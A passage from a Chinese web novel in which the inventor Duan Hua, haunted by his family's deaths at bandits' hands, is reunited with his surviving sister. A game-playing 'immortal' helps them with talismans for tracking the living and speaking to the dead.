母亲和别人的娘亲不同,她因经常外出走动,所以懂得许多,眼界宽广,就算是在幽州,这个对女子的压迫不算太强的地方,她也依旧属于是博闻广记的佼佼者。 多少次他盼着母亲回来给他带些新奇物件,甚至母亲还会花费许多时间帮他寻找鲁班后人,最终还真让她找到一位,立即将他送了过去,跟着对方学习。 那段时间,是段化最幸福的日子。 等学习完那鲁班后人教的东西后,段化脑内多了许多奇思妙想,而后一一落地。 比如什么制作精巧的,刻印着十二时辰的时钟——这绝对是稀罕物,毕竟当时他并未曾见过有人使用过这类钟表造物。 这时钟他第一个做出来时,给了母亲。 而后又给家中其余人慢慢也配备上了。 等到验证这时钟确实走得精准,段化可算是小小的扬眉吐气一把。 而后他又用自己的能力帮家中的制冰铺子提升了三分之一的制冰效率,利润顿时上涨许多。 当时他最为得意的便是通过精巧的控温和对材料的严格把控,烧制出了会变色的釉瓷。 这玩意经由母亲出手,倒是还高价卖出去不少。 种种手段,倒是立马替家中赚取了不少钱财,这些收入绝大部分被母亲存下来,打算日后等铺子低价时给他买一个,让他也试着经营一番自己的铺子。 多年没有过什么正向反馈的段化自然兴奋异常,他本打算按照母亲嘱咐,在外谦虚,继续假装原先的那个在众人眼里一事无成的段化,但却被同龄人逼急了后嚷嚷着自己先前的成功,在几人嘲讽他只会骗人后,他恼火地前往家中,将他所做之物拿出来给几人看。 原本以为只是一段小插曲,但很快,他会制作赚大钱的器皿这一事便被传播出去。 有人传他能让制冰效率提升一倍,还有人传他一次出手便能售出好几百两。 一时间,段化在本地风头无量。 每次出门,都会有不少人围着打量他,同时一改以往嘲讽看不起的态度,各个凑到他身旁说些好话,想着看他哪日心情好了,从手指头缝隙里露出些东西下来也是极好的。 虽说有些心慌,但段化从未感受过这般受人敬仰,这会一时间飘飘然,直到回家后看着母亲冷脸,他还没站稳就挨了一个巴掌。 脸上火辣辣的疼,段化不敢置信抬头看母亲,却看母亲抖着唇,让他跪下。 一旁的父亲早就拿着鞭子站好,对着他就是抽了好几鞭,直到他捂着脸求饶,母亲这才开口:“化儿,以往我惯着你,岂料你真不知外面为何状况?现在局势不稳,新皇登基不久已然有分裂迹象,你这般招摇,可曾想过会给家中带来太多恶意的关注?” 段化捂着脸,当时他还觉得母亲说这话太过于没道理,毕竟在他看来,外界一片太平,如何就像是母亲说得这般严肃。 这会梗着脖子不肯讨饶。 “母亲根本不懂我的苦,大哥,妹妹总被称为聪慧,而我却永远只是那个没用的段化,人人都说我学的是奇淫技巧,无甚卵用,我只是想表明我并非那等无用之人而已!母亲为何不理解我?” 这话说得他父亲气得又给了他几鞭子。 “孽障,你母亲教育你,还有你顶嘴的份?你母亲若是不理解你,她便不会亲自替你去寻那鲁班后人,当初我说让她别找,你可知晓是你母亲非要替你找的?” 段化垂着头,不肯认错,当即跑了出去。 他父亲叹气,直呼逆子,而他母亲则已经开始考虑如何处理此事带来的风险。 这事说大也不大,说小也不小,按照她的预期,若是花钱压下舆论的话,大概有个三天时间也够了。 希望这一次,化儿能长点教训,不然日后定是要惹出大祸来。 本想着处理好此事便差人去找儿子,但谁能想到,命运弄人,知晓段化此事的人中便有一流寇家属。 此人将此事写信告知流寇,却好巧不巧的这封信被当时还是义师军的侯天王拿到此信。 当初的侯天王刚刚起步,打算从幽州一路前进,直奔明州。 这会只是招兵买马阶段,甚是需要钱财,这会看到这信件,倒是多了几分贪念。 既然此段家有钱,那他为何不直奔这段家,先搞到一笔起步资金,日后想来发展也会更顺利。 除了段家,他还额外规划了另外几家大户,打算一并抢劫后直下明州。 等到段化闹够了脾气,清晨回家时,看到的便是早就烧得漆黑的家。 他瞳孔地震,这会浑身颤抖,不敢相信眼前所看到的一切。 等他像疯了一样钻进去后,看到的便是原先熟悉的宅子全被烧得干净,甚至他都看不清楚原先的模样。 直奔父母所在的屋子,一片狼藉,根本不知晓父母是死是活,想到家中还有大哥,还有妹妹也有可能全部死于此场大火,他便心灰意冷。 到底为何会如此?这火为何烧得这般奇诡? 正是疑惑之际,便听周围人看热闹的人惋惜开口。 “那城南,城东都有好几家大户糟了难,据说是有流寇盯上了这几家,这是不是抢了东西就一把火烧光了痕迹?” “怪不得昨夜走火前就有动静了,看来当时便是那流寇在家中杀人?后来走火被发现后,咱们只顾着救火了,哪里能想到先前还有过这等惨烈之事?” 段化的身子不断僵硬,他早就因为刨着焦土而灰头土脸,面容狼狈,这会顾不得这些,只是瞪大眼睛,心口疼得像是刀子割一般。 怎会如此—— 上天何故这样待他—— 又听周围人继续开口:“但这说来也是奇怪,那城南,城东遭难的几家均是咱们县出了名的有钱,但段家名不见经传,这样体量的在咱们县内可是不少,为何会盯上段家?莫非是仇杀?” 立即有人解惑:“你刚回来吧?段家先前确实是名不见经传,但架不住出了一位极擅奇淫技巧的小郎君啊,此人聪慧,用那些技巧替他们段家赚了不少钱,最近风头正旺呢,先前那段小郎君出门都是人人围堵,那盛况,你肯定没见过——” 原先开口那人讪讪道:“这我确实不曾听过,不过这么一看,段家也算是运道不好,刚好赶上这流寇盯上了他们一家” 周围人还在开口说着什么,而此刻段化却觉得自己什么都听不进去了。 周围人的嘴唇不断开合,明明是认识的字,他却听得大脑空白,无法控制地从尾椎骨窜出一股生生撕裂他的痛感。 剧烈的恐惧和恶心攥紧他的胃袋,让他瞬间趴在地上吐得昏天黑地。 ——罪人罪人便是他。 ——是他那般不听劝,害死了所有人 至此,十六岁的段化得到了刻入骨髓的教训。 第220章 选择 从回忆中挣扎出来,段化已然绷不住表情,原先刻意维持的淡定早就崩塌,此刻垂头,双目泛红。 七年了。 逃到风仙县已经有七年。 在当初家中遭难后他试图寻找家人下落,抱着或许万一家人逃出生天的侥幸。 但等他找寻了足足一个月后,无奈放弃。 眼看身上的银两即将消耗完毕,且这段时间竟还有不少人认出了他。 围上来时自然要询问那晚流寇到底如何,又问他家中父母兄妹去了哪儿。 当然大部分人还尚有同情心,眼看情况不太对,日后便当做没看到段化。 也有人原先就看段化不顺眼,先前段化意外靠着奇淫技巧在本县出名后,心中本就嫉恨万分,但无奈苦于没有发泄之地,但眼下可算是给他找到了好机会。 在段化寻找家人是否还有生还可能性的这些日子,可算是放开了嘲讽他。 “段化,怎地就你一个人逃出来了,不会那日流寇来的时候,你第一个逃了吧?哈哈” “去去去,段化他可没逃,我听说啊,那天他正怒气冲冲进了客栈,在客栈睡得正香呢!就是他家人太惨了,说不定临死前还在担心他呢!” “这可为真?这么说的话,段化这厮果真是扫把星,怎么全家就死得剩下他一个最没用的?” “我可是听说那城南那户人家的小娘子被掳走了,想来这流寇还会对这方面颇有需求?段化他妹妹长得也不错啊” 此人说话带着猥琐,嘿嘿直笑 各种嘲讽讥笑声不断席卷而来,扯得段化的脑袋几乎疼得要炸开。 他这一个月无心收拾自己,只是随便吃两口东西,花最便宜的钱找了个住宿地方,这会看上去狼狈万分,和乞丐无异。 原先他母亲特意给他做的鹅黄色的衣袍早就脏污不堪,全都是他近日来沾染上的焦黑痕迹,还有血迹斑斑的暗红色血印子。 指缝里镶嵌着泥土碎屑,大都是他徒手挖掘地面弄的。 这会被人嘲讽时,段化心中仓惶如同丧家之犬,却在听到此人描述的话语后双眼通红地扑过去,抡起拳头就要将他往死里打。 “闭上你的臭嘴!我打死你个畜生玩意!” 若是原先的段化对上这群人尚有一战之力,但此刻他仓惶一个月,既没睡好也没吃好,身体自然是虚弱无比,上去恶狠狠揍了有几拳后,被对方翻转后压在地上打了回来。 当拳头落在他身上时,段化却像是感觉不到疼痛一样。 那人还在继续谩骂。 “害死父母的扫把星,我若是你,我早就投河自尽了!哪轮得到苟活到现在!” 段化眯起眼睛,想看清楚眼前,却被鲜血模糊了视线,眼前血红黏腻一片。 他想发出声音,喉咙却像是被人掐住一样,一句话也说不出来。 不知道最后是谁拦着这群人,又是谁扶他起来。 段化很想死,毕竟过了一个月都不曾找到家人幸存的痕迹,无论怎么看都是人彻底死了。 他或许是应该按照那些人辱骂他的一样,死了去给父母兄妹赔罪。 但想到死后,段化又突然觉得浑身发凉。 ——人死后会去往哪里?他这样的,若是在死后遇到了父母兄妹,又该如何自处? 脑袋疼得像是要炸开,等他回神后,他人已经离开了家乡。 至于离开花费的银两,用的还是先前在自家院子里刨土挖到的几块预留下来的金子。 等到一路逃到风仙县,段化试图自我欺骗。 ——他怎么会相信他们全死了呢?定是他们通过什么通道逃走了对吧? 他得活着,活着才有机会找他们。 对!就是这样! 事实上,他不敢承认,他是这样的懦弱。 不敢去死,生怕下去看到他们责怪的眼神,却又深知他们不可能还活在世上。 前进后退,皆为虚妄,唯有这样不死不活的活着。 段化试图给自己洗脑,他开始用那点钱买了个住所,环境不好,但他不在乎。 他只是埋头研究,像是过往一样沉溺于那些奇术。 先前他恨死了这奇术,本想着这辈子再也不碰,只靠当个三流大夫活着算了。 但后来他发现他这东西就像是跗骨之蛆,等他反应过来想脱身时,浑身早就爬满了蛆虫,若想抛弃,唯有死亡那一日才算。 于是他自暴自弃开始继续研究,试图欺骗自己沉迷于此道。 闲暇之余他会想起很多人,父亲教他医术时,和大哥斗嘴时,和妹妹玩闹时,但更多时候会想起母亲,想起母亲坐在他床旁温和讲故事的眼睛,想起她将他带到那鲁班后人那一日,又想起母亲最后的一记耳光。 那耳光似乎就在昨日,真疼疼得他日夜睡不着。 而后他倒是意外和风仙县的天才画师宋白相识。 此人喜欢絮絮叨叨,看到他发明出来的东西后,眼睛亮得和什么一样。 连续多次,看不懂他特意给出去的冷脸,反而非要贴上来烦他。 就这样,段化在嫌弃中拥有了第一个朋友。 日子飞速而过,之后他还算得上的朋友便是仇离,毕竟他难得在有生之年遇到和他一样对奇术感兴趣,且如此具有天赋之人。 段化永远都记得当初和仇离共同研究那制酒器皿,那天的阳光很好,他还记得那一日他们的争论。 但在方大人向他递过来橄榄枝,邀请他参与沼气池时,段化的自我保护机制立刻响了。 ——不行,这般重要的改革,日后若是研究出来必定十分显眼,他已经有过足够惨痛的教训了,他不会再犯错了! 拒绝了沼气池项目,但只有他知道,灵魂深处的欲望在叫嚣着不满,日后他偶尔会经过县衙,据说仇离在里面研究着沼气池。 他看了一眼,匆匆走开了。 等到风仙县彻底开通沼气池,甚至连他的住所也被开通沼气池后,段化难以描述自己的感觉,既新奇又隐约觉得怅然若失。 还有一丝隐秘的自我安慰。 ——做得很好,段化,你早就该这样,能赚点钱养活自己便是,何必非要出风头?不然当年也不会让父母兄妹惨死。 所以在仇离再次找到他,想邀请他加入火铳研究时,他也拒绝了。 不要试图走进任何一段关系也不要试图再去走入任何一个看起来就极为有利可图,极为危险的研究中去。 这是他学到的值得铭记一生的教训。 本以为是这样的,直到他脑内响起陌生的声音。 这声音仿若寒泉流水,清澈,却又带着难言的吸引。 此人说话时会惹得他脑内酥麻,但这股朦胧迷惑的触感又很快被话语中的寒凉之意所驱逐。 段化楞在原地,不敢动作。 直到听清楚对方的话语后,血液瞬间逆流。 电脑前,姜定还有些摸不着头脑。 先前游戏突然弹出来一条提醒,说他的武器制造事业还需人加入才能点亮。 姜定先是一愣,脑内缓缓闪过疑惑。 等等,他怎么不记得自己什么时候点亮了武器制造??? 等到细细查看一番,这才发现是紫卡人物方知意做出的决策。 话说这紫卡人物是挺厉害哈,竟然能替他点亮这么重要的一个科技树啊! 姜定欣喜之余,而后又专注地看了看这武器制作所需要的人才。 上面显示,武器制作科技树需要两人才能点亮,顺利制作。 其中已经有一紫卡人物,仇离已经填充上去,但还有一空缺还需要他自己去寻觅。 姜定忙按照要求去筛选合适的人物,倒还真被他孜孜不倦地在百才堂找到了一人。 此人的属性颇为奇怪,是他从未见过的灰色卡片,后面还标记着(受损状态)。 等他将鼠标挪到上面,这才看到此人原先的卡片等级也为紫卡。 且最为重要的是,这人居然能够完美适配武器制作,甚至要比紫卡人物仇离适配度还要高一些。 姜定顿时来了兴趣,心想这可是隐藏剧情啊! 如果这受损状态不能修复,游戏才懒得标记,既然标记,那就是能恢复,只是需要高等级的灵丹妙药,或者是别的特殊剧情物品才行。 但按照这类游戏的尿性,这特殊剧情物品想来很是难搞啊。 姜定边吐槽边将鼠标点在修复一栏上,游戏弹出提醒。 【是否选择恢复灰卡人物属性?】 他没犹豫点了个“是”,又弹出对应的选项。 【请选择对应物品恢复。】 【A.行迹咒(库存32)】 【B.通灵符咒(检测库存:1)】??? 姜定有些心虚,心想这次居然连氪金通道都没了,好在他这两样还有点库存。 这会将鼠标挪到这两个选项,这才看清楚这两物的具体描述。 行迹咒可追踪特定的人员。 通灵符咒则是可以和死去的人对话。 两类符咒,行迹咒应该是最能用得上的,所以永道宫那边可能是给贡献了一部分,至于通灵符咒,唯一的库存还是当初景旭宫的池长老死后爆出来的贡献。 这会又点进去一看,发现制作这通灵符咒所需要的材料几乎全部指向了景旭宫占据的山头。 看来日后需要尽快占据景旭宫啊,一个合格的游戏者,怎么能允许自己的物资库存只有数量1呢? 不过这会还是先紧着剧情来,姜定先点了A选项,毕竟优先消耗库存多的嘛!点完后本以为会有个什么过场动画,至少得有个别的反应。 但可惜没有,还剩下B选项还亮着。 他半信半疑的地点下去B选项,这才显示他正在恢复。 姜定无语凝噎:两个都选为毛还要让他选啊!意义到底在哪?这选项做出来是用来侮辱玩家的吗??? 而此刻,段化却被脑内的话话惊得楞在原地,血液逆流。 和死去的家人对话?还能追踪活着的人? 等等——还有家人活着!《 》 220-230 第221章 通灵 段化被这消息惊得浑身像是过电一样,呆愣在原地。 他几乎能听到自己理智逐渐崩塌的声响,而后不自觉急切开口,沙哑到让他自己都觉得这声音不像是他。 “如何才能知道活着的人在哪,又如何才能和死者通灵?” 他甚至不明白自己脑内突然出现的声音来自于谁,或许也有可能是他终于被逼疯了,得了癔症。 正当段化心神急切等待脑内那声音继续说话时,那声音却突然消失了。 他又问了几句,脑内无人回应。 ——难道真是他得了癔症? 正当段化犹豫不决时,眼前突然出现了两张符咒。 黄色的纸符,上面画满了他看不懂的符号。 段化迟疑着伸手,等到将这两张符纸捏在手心时,他倒是很快便懂得了这两物的用法。 他先用了那行踪咒。 在心里将所想之人的名字一一默念出来,而后看这行踪咒是否有变化。 他是先从母亲的名字开始默念起来的,但很可惜,行踪咒丝毫没有反应。 果然,母亲还是死了对吧? 段化苦笑一声,又继续念父亲,大哥,妹妹的名字。 在念到妹妹的名字时,行踪咒总算是显露出了震颤,而后他脑内迅速钻入一股意识,整个人像是开了天眼一样,脑内的舆图缓缓展开,而他在一标记着幽州充县的地域看到一闪亮着的光点。 符咒信息告诉他,那便是他妹妹如今所在的位置。 充县距离风仙县可谓是十分遥远,若仅靠着他一人,他得数日才能到达那地,但段化是一定要去的,无论妹妹原不原谅他,他都要去看看妹妹,至少,至少看看妹妹过得怎么样,银两够不够,有没有被人欺负 还有便是,剩余的另外一张通灵符咒,他也想让妹妹和他一起用了,他们理应都和已故的父母大哥说说话才是。 段化此刻胸口的激动早已掩盖那股恐惧,这会自然打算找机会前往充县。 而与此同时,姜定那边则是再次弹跳出提醒。 【灰卡人物看来有些想去充县呢。】 姜定:???好好好,这就来给隐藏人物当交通工具。 这会点了点灰卡人物,先选择让自己传送过去,而后又点开他想去的地方。 充县? 这地方还是灰色,他还未曾去过,不能瞬间传送,所以只能用最笨的办法,——用鼠标一路点击过去。 屏幕上显示在模拟地图中,灰卡人物正在他角色的身旁乖巧站着。 一动不动,看上去就像是一个老实巴交的NPC。 而事实上,段化早在那位仙师瞬间出现在他家时大脑宕机。 仙人出现时,他还正在考虑该如何前往充县,正收拾好银两,衣物,干粮,眼前金光一闪,一阵清风吹拂后,一身穿青色衣袍的男子便出现在眼前。 说实话,段化不是没看到过好友宋白笔下的仙人。 当初好友画出仙人时,他倒是看了一眼,也不得不感慨仙人风貌。 宋白当初还叹息他所画仙人连对方一半神韵都不曾表露,段化还以为是他谦虚。 如今眼看真人袍角蹁跹,那张美得难以形容的面庞让他忍不住屏住呼吸,生怕惊扰仙人。 这会心想宋白说得确实不错,那画作的确难以将仙人神韵刻画出来,尽管宋白已然是天才,丹青之技也熟练异常,但对于仙人本身来说,任何画作都差了几分,难以勾勒出仙人独特的风味。 此刻仙人浑身散发着一股莹润的光芒,脸庞无悲无喜,却自给人一种敬畏之意,段化忍不住跪倒在地,抬头看着仙人,却见对方缓缓开口。 “如何要拜我?起来,随我去你想去的地方。” 段化心想他还未曾说出口,又被对方熟悉的声线激惹得浑身颤抖。 ——先前他脑内的声音! 几乎瞬间,段化便被震撼在原地。 他在风仙县,自然知晓仙师到底有多么受人敬仰,不说别的,那一整条的,充斥着仙人小像、画像、雕刻、木雕的街道可不是假的。 里面无论何时都有人进去购买,可比原先售卖神佛时还要更为热闹非凡。 他虽未曾亲眼看过仙人,但本县发生的诸多神迹也表明仙人确实存在,且风仙县在仙人的统领下的确越来越好,这点不仅仅是通过观看身旁之人的生活,状态,也是他切身能感受到的。 而如今只在传说中的仙人居然活生生出现在他眼前,而且还准确地说出他内心所求,所想之事。 想到原先不少小道消息流传着仙人是全知全能的存在,当初他还有些觉得不可思议,但现在看来,这传言确实不错,不然为何仙人能准确知晓他所想,他所求? 而等到跟在仙人身后,眼看对方腾云驾雾带着他飞起来时,段化还在运转的大脑彻底宕机。 ——等等,就这样飞起来了? 他浑身僵硬,身体不敢动,只是感觉脚下像是踩着什么软绵绵又足够落脚的东西,刚想低头去看,便被一朵云遮住了视线。 “勿看,小心一头栽下去。” 仙人竟然还会开口叮嘱他!并非是他所想那般高冷的仙人,反而意外的温和 段化心头大为震撼,这会乖乖不敢看了,毕竟这飞起来的速度实在是太快,他只能看到身旁的景色在迅速变幻,他们穿梭在云层中间时,他甚至被云团扑得衣裳潮湿。 但值得一提的是,体感却不难受,整体感觉是微风吹拂,段化猜测应当是仙人用了某种仙法才是。 很快,仙人便到达了充县一处繁华又不失清幽之地,这里住宅看上去精致异常,看着像是大户人家聚集的地方。 等缓缓下降,又给他指了指其中一所,让他自己过去。 段化收了好奇的心思,这会打量着眼前这一看就颇为豪华的住宅,心脏跳得快要飞出去。 他这会没时间再去关注仙人,只想着赶快见到妹妹。 但有道是近乡情更怯,原先他还不曾恐惧害怕,毕竟当初想的是路上还需花费一些时间,但如今真当只隔一墙之隔时,段化被刻意忽略的恐惧又开始滋生。 看了眼仙人依旧在不远处,他掐了自己一把。 ——段化啊段化,你还在纠结什么,仙人日理万机,能帮忙就是你的福气,你还在这里浪费时间,简直是太没眼色! 心里刚辱骂完自己,手刚伸到那门环上,门却被人拉开,猝不及防和其内之人对上眼。 只是一眼,段化立即就能断定,这便是自家妹妹,段萱 看着比原先瘦了,黑了,那双总是带笑的狡黠眼睛不再,反而带上了警惕。 段化呆愣在原地,半响只来得及开口喊妹妹名字:“萱萱” 他还维持着呆愣愣的姿态,段萱却也在瞬间便认出来此人。 ——不再穿那身亮眼的鹅黄色袍子,换上了一身黑色衣物,看着有些狼狈,眉宇间多了几分郁郁,和以前的段化确实不像是一个人。 在他喊出自己名字后,段萱眼神一冷,而后便要关门。 “找错人了。” 段化急得额头瞬间滚落汗珠,这会又拦住她即将关闭的大门,也不怕会不会被门夹到手指,急切而又悲恸看她。 段萱没能继续关上门,毕竟她如何能下狠心用门夹坏他的手? 这会隔着门,段化“扑通”跪下,压抑了七年的愧疚终于将他压垮,脑袋很乱,却只来得及问她如何过得如何,这会狼狈擦着眼泪,无措地打开自己带着的行囊,从里面拿出他这些年攒下的银钱,说什么也要给她。 看段化一副失神落魄的模样,段萱充满恨意的心不自觉软化几分,当初她被父母,大哥送出去时,他们都让她活下去,别怪段化,要怪就怪他们段家运气不好。 但想到如今父母,大哥全都死去,她又如何能不恨段化? 段萱总算将门打开,却是伸手将那银钱甩在他脸庞,恨恨开口:“滚回去!我不想再看到你!爹娘,大哥,都是被你害死的!” 段化被砸得脸偏到一旁,却固执问她近况,神态几近疯狂。 话说段萱当初逃到充县后,虽说有一身打点铺子的能力,却因这世道不需要女人管理铺子,而只能做些女人能干的活计,赚的钱零零散散,且工作很是辛苦。 一夜之间从家中最受宠的唯一小娘子,变成家人全亡,家产也消失,甚至无法用自身才能养活自己的废人,段萱说不恨是假的。 为了维持生活,她不得不最后做了个大户人家小娘子的丫鬟,因当时年岁尚小,人又机灵漂亮,倒是被额外招了进去,成了小娘子的贴身丫鬟。 别说,这当丫鬟可比别的活计赚钱多多了,且日常也较为清闲,但相应的,自然是要靠出卖尊严赚钱的。 段萱不是个会频繁怀念过往的人,但偶尔也会怀念过去,怀念家人。 她当初不是没想过段化,想着他到底去哪了,是死是活。 说不恨他是假的,但时间长了,再多的恨也变得稀薄。 恨来恨去,段萱还是不希望她唯一的哥哥再消失在人间,她希望他在某个角落好好活着。 但当人真正出现在她眼前时,她承认自己消失的恨意再度升腾,当她自暴自弃说出自己这些年的过往后,就见段化垂着头,眼睛通红,抖得仿若风中落叶。 段化心口剧痛。 他这辈子对不起父母,对不起大哥,但眼下,他唯一只能给妹妹一人赎罪。 此刻,段化唯一知道的是,仅靠自己无法劝说妹妹,这会摸着口袋里的通灵符咒,哑着嗓音道:“萱萱,我知晓你恨我,但无论怎样,我带了可与亡者对话的符咒。 今日我来找你,一是想看看你生活到底如何,二是想让你我都能和父母大哥说几句话。” 段化说话时小心翼翼地查看妹妹脸色,等看到妹妹愣在原地,一副困惑掺杂着不信任的眼神后,他没有犹豫,立即使用了符咒。 而段萱则是冷笑不已。 好好好,她唯一活着的哥哥也早就被逼疯了。 说什么能和亡者沟通,依她看,是犯癔症了。 但等到眼前逐渐凝聚而成的人形烟雾,段萱整个人像是被固定在原地,眼神直勾勾地盯着那烟雾。 第222章 目睹 烟雾成型的速度很快,几乎没过多久便凝聚成三个人形。 不说段萱,其实此刻的段化也是直勾勾看着这三个人形。 先前他也只是用过那张追踪咒而已,这通灵咒语对他也是头一次用。 这烟雾凝聚成型后,他们二人很快便能隐隐约约看到三人模样。 段化微楞。 这样子看上去确实和多年前的父母大哥没什么区别,也不知他们到底如何? 这会想开口却又不敢开口,而段萱则是呆呆地看着眼前三人,一瞬间有太多想说的话,却又一时间不知道说些什么。 还是大哥凉飕飕开口。 “都不说话?这时间可是有限的。” 听到这熟悉的声音,段化顿时热泪盈眶 是大哥的声音! “大哥?是你?”一旁的段萱也迟疑着开口,她不是没听出来,而是单纯的不敢置信。 等听到来人的回应后,她积攒了多年的眼泪也忍不住淌了出来。 父母还在一旁,段化喉头哽咽,对着母亲想说话,却一句话也说不出来,最后还是他母亲先开口,问他近期如何,又问他先前那些年如何。 等亲耳听到父母大哥当年是如何凶险地从地道逃命,却不料被流寇发现,当时父母二人留下拖延时间,大哥骑马带着妹妹,其余流寇自然是跟着追了出去,好容易将妹妹塞到一小道后,大哥自己引开流寇,最后也不幸被杀死。 提起过往,三人倒是很是轻松,想来是这些年早就释怀了。 而段化却是陷入自责痛苦,越听,心脏疼得已然开始翻滚。 却被母亲察觉。 “如何能怪你呢,化儿,一切皆是命,我和你父亲,你大哥,我们三人早就不再纠结于当年之事,我希望你也不要自责,好好带着妹妹过下去。” 段化擦了擦眼睛。 “放心吧,母亲,我就算拼了命也会待妹妹好,萱萱,我知晓你恨我,但看在母亲的面子上,给我一个赎罪的机会” 段化转身去看自家妹妹,小心翼翼,生怕刺激到妹妹,与此同时,段萱则是僵硬着身体,看上去不是很想原谅的模样。 烟雾形态的三人开始慢慢劝。 “一切看萱萱自己,若是萱萱不愿意,那便等愿意了再说,但无论怎样,你们依旧是兄妹,日后理应互相扶持才是。” 段萱说实话对段化的恨也没一开始那般多了,但总归不可能一下就对他恨意归零,这会还在别扭。 这会又问了父母大哥他们目前情况如何。 等听到人在死后竟然去了一个崭新的世界重新开始生活后,她先前的恨意这会自然淡薄了许多。 “所以,到时候我们还是一家人吗,母亲?” 段化略带期待,低声询问,他对于这死后世界也是很好奇,并不知晓那边到底是个什么情况。 但他还不想断了和母亲的母子缘分,这会急切询问。 他父母还不曾开口,便被大哥抢先开口,算是给他们稍微解答了几句。 “按道理是一家人,但实际上,来到这里后,不存在辈分,血缘一说。 你可以自行选择。 若是觉得上辈子做一家人做得很好,那在这里可以继续一起生活。 不过也有许多人不满,所以早就分开居住生活了。 哎,时间太短了,下次若是还有这个通灵符咒我再给你说更多吧。 对了,烧点纸钱” 段大哥的话卡在一半便消散在空中,那三人凝聚而成的烟雾逐渐消散。 安静得仿若刚才像是一场梦。 但两人都清楚,刚才的绝非一场梦,而是一场真实的对话。 至少他清楚了当年父母大哥遭遇了如何,又清楚了他们并没有怨恨自己,还知晓了若他下去后,也依旧能和他们做家人,生活在一起 心脏的位置开始发麻发痛,但段化知道,如今的他,已经有了更想要的东西,而非浑浑噩噩活着。 这会转身看着自家妹妹。 段萱也还在回味刚才的对话,心想要给父母大哥烧点纸钱,等看到段化一副恳求,希望他和她离开的模样,顿时气不打一处来。 “我不去!你自己回去吧!反正这世道在哪都一样,我在这里好歹还能赚钱!” 段萱在这家当丫鬟已经当了七年了,人都害怕前往未知的地方,她也不例外。 就算是原谅了段化,她也不觉得自己就需要他的帮助和保护,毕竟这七年没有段化,她不也一样活得好好的? 段化忙摇头解释,生怕被误会。 “我没那个意思,萱萱,你听我说,我让你跟我去明州风仙县,并非出自于私欲,而是我敢肯定,那地方你一定会喜欢的” 话还未说完,便被段萱不耐烦打断。 “如何不一样?现在世道都是这么烂,你不必为了骗我非要将我骗到那什么风仙县去!” 段萱只想拒绝。 换句话说,她是不想当丫鬟了,也想像以前一样在母亲身边管理铺子,打点生意,但她靠什么?自己这些年攒的钱根本不够,且世道太乱,出了门像她这样的便会被人视为肥羊,被流寇,亦或是被他人欺辱,还不如乖乖在这里待着算了。 段化急得直摇头。 “听我说,风仙县绝非和这里一样。风仙县那里,男女均可参加工作,且工作种类颇多。 物价低,收入高,每日最多只需要工作四个时辰。 且最为重要的是,那风仙县的县令大人也是一女子,先前颁布的多种律法对女子也很公正。 我在那县内有一住所,且手里还有些积蓄,完全可以开一家小铺子售卖些东西。 我知晓你喜欢管理铺子,为何不跟我回去? 最重要的是,在风仙县更为安全,那里有仙人坐镇,目前来说,应当是最为安全的地方了。” 段萱初闻此话只觉得段化为了骗她回去,竟然如此口不择言,什么话都敢说,这会刚想开口怼他,便被段化指了指一个位置。 她到嘴边的话憋了回去,这会抬头便看,却在看到一身穿淡青色衣袍,飘飘若仙之人后呆愣在原地。 ——等等,这人谁啊,怎么还会飞的??? 段萱心神震撼,她感觉自己一整天和做梦一样,先是和父母大哥通灵对话,又是看到能飞的仙人,这会甚至怀疑今日所遇之事是不是全然在梦中,实际上她压根就不曾遇到段化,也不曾和父母大哥交谈,更不曾看到那飞天仙人? 愣神之际,还不忘掐了自己一把,等到剧烈痛感传来时,段萱放开手,还处于震撼中。 ——竟然是真的 段化无比感激仙人竟然还没走,居然还在等他,不然他一时半会,定是说不清楚风仙县。 这会又磨了几句,终于眼看着妹妹心动。 等她回去拿上东西后,这会段化忙带着妹妹一同前去寻找仙师,打算跟着仙师共同回去。 而姜定则是在剧情加载过程时自己看了看周围环境,等到顺利将传送点安置成功后,便看有两个小人冲自己走来。 这会姜定的屏幕又弹出新的提醒。 【看来紫卡人物已经恢复了呢,快带他回去工作吧!】!!! 姜定瞬间狂喜,这会点开雇佣界面,发现此人赫然出现在可雇佣界面,且在属性页面里,他的忠诚已然达到了90分的高分。 这让姜定很是满意——总算是没浪费他勤勤恳恳把人带到这里啊。 他倒是想看看另一个小人的属性,可惜只有等回去了才能查看,这会只能作罢。 因先前他已经将传送点设置完毕,所以此次他终于不用再辛苦点击路线了,而是直接点击传送,传送回风仙县即可。 而段家兄妹二人则是眼睁睁看着仙人双手随意一挥,一道金色拱门便慢慢出现。 等到两人还在愣神之际,只听仙人慢慢开口。 “从这门进去便可回到风仙县了。” 说完这话后,仙人赫然消失。 留下两人面面相觑。 说实话,段萱第一次见仙人,这会大脑还处于空白状态,就连先前对段化的别的想法全都暂时消失了,满脑子的关注点全在仙人身上。 ——仙人穿着淡青色的衣袍,无风自动,刚才她没敢细看,但粗略一看,仙人的长相简直是难以描述的惊人。 她本想细看,但又怕看得太仔细惹怒仙人,只能粗略一扫,但也足够震撼。 除却那张清冷似谪仙的面庞,她还注意到仙人背后似乎有金龙翻滚咆哮 竟然能御龙? 龙自古以来都是最为高贵的存在,那简而言之,这仙人的确是仙人,不存在什么被精怪冒充的成分。 段萱大脑还在继续宕机,这会沉浸在先前的思绪里久久不能自拔。 而与此同时,段化的关注点则完全在于眼前的金门。 他先前倒是听说过这金门,据说里面走十步,外面即可穿越数百公里,算是一种折叠空间的仙术。 当然了,他只是听听而已,毕竟还没切实进入过。 这会生怕这通道有时间限制,忙拉着妹妹进入金门内。 等到进入这金门内后,二人仔细查看一番,发现里面确实如同他先前听到过的说法,——像是一通道。 等走了不到上百步,很快,前面便出现了一束光亮。 这会段化不自觉拉着妹妹,加快脚步,等到二人推门而出时,映入眼帘的便是熟悉的景色。 这是自家! 段化惊诧,先前他就是在自家被仙人带着腾云驾雾前往幽州充县,倒是没想到回来时,也会出现在自家。 他还以为他会出现在潜灵山或是其他地方 而段萱则还处于震惊中,这会就连看到哥哥此时的住所,都没来得及好奇。 等到好容易接受仙人确实存在的设定后,段家兄妹二人倒是先合伙将段化的住所收拾一番,毕竟先前段化一个人,也无心打理住所。 这会既然妹妹跟着他同住,他自然要将屋子收拾干净才是。 房子确实是有两间房,但段化不太满意,毕竟对于他来说足够用,但对于妹妹,他总觉得不够精致,这会心想之后定要立马联系装修队,请人过来装修一番才是。 除却装修家中,最为重要的还有一点,他得去找仇离,表明他愿意加入研究火铳和震天雷的研究中,毕竟段化不至于这般不知好歹。 既然仙人帮了他这么大的忙,替他找回了妹妹,又得以和父母大哥联系上,他如今又有何资格不再为仙师做事? 